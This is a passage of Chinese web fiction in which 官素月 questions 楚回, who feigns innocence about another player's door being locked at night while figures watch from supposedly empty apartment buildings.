玩家在对付其他玩家吗?好奇怪。”
他无辜极了,歪了歪头,还自然而然地补充:“居然这么快就开始对付彼此了吗,不过也还算可以理解,对玩家来说,其他玩家都是敌人,只是初步合作还好,但一旦交付出完全的信任,比如和对方住在一起之类的……”
刚刚在门口,他看见了房间里的戚元青,但没有说,仿佛没看见,现在才见缝插针挑拨离间。
这其实不是正常人的反应。
官素月:“。”
听着楚回无辜极了的语气,品味着他显然不正常的态度,她沉吟几秒,因某种微妙的预感,突然问:“楼上住的是谁,你知道吗?”
“知道,”楚回秒答,“那位画家住楼上。”
“还有呢?”官素月追问。
“还有,”楚回顿了顿,才回答,“好像还有一个我不太认识的玩家,嗯……想起来了,是那个不能说话的玩家。”
是徐示白。
官素月:“……”
呃。
她陡然沉默住,过了片刻,走出居民楼,才缓缓问:“听声音,似乎是他的房门被什么东西锁住了?”
楚回若无其事:“应该是吧。”
“谁会锁他的门?”官素月问,“锁门干什么?”
“不知道哎,大概是有玩家在对付其他玩家吧,”楚回再次若无其事,“不过他也很奇怪,有什么急事居然在夜里出来?”
他判断:“那个锁门的玩家知道他会在夜里出来,我知道了,他可能撞见了其他玩家的作案,被报复了,好没用。”
官素月:“……”
谁报复只是锁门啊?
不过重点不是胡言乱语的污蔑式理由,而是最后一句:‘好没用’。
她瞥了瞥楚回,没说话,又转头看了眼居民楼。
五楼亮着灯,三楼的灯关着,304的窗口处有一抹漆黑的人影在伫立,静悄悄的,仿佛在说:我会一直看着你的。
但看了眼,官素月的注意力却并不在身后的居民楼上,而是偏移视线,看向其他更废旧的居民楼。
那些居民楼本该无人居住。
但此时,有部分居民楼的窗口亮着很昏暗、不专门看察觉不到的灯,有些窗口则黑着,有人影悄悄站立,一眼扫去,原来该空无一人的居民楼中居然影影绰绰皆是人。